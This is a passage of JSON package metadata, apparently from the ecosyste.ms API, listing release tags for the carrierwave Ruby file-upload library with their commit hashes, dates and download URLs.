thub.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwav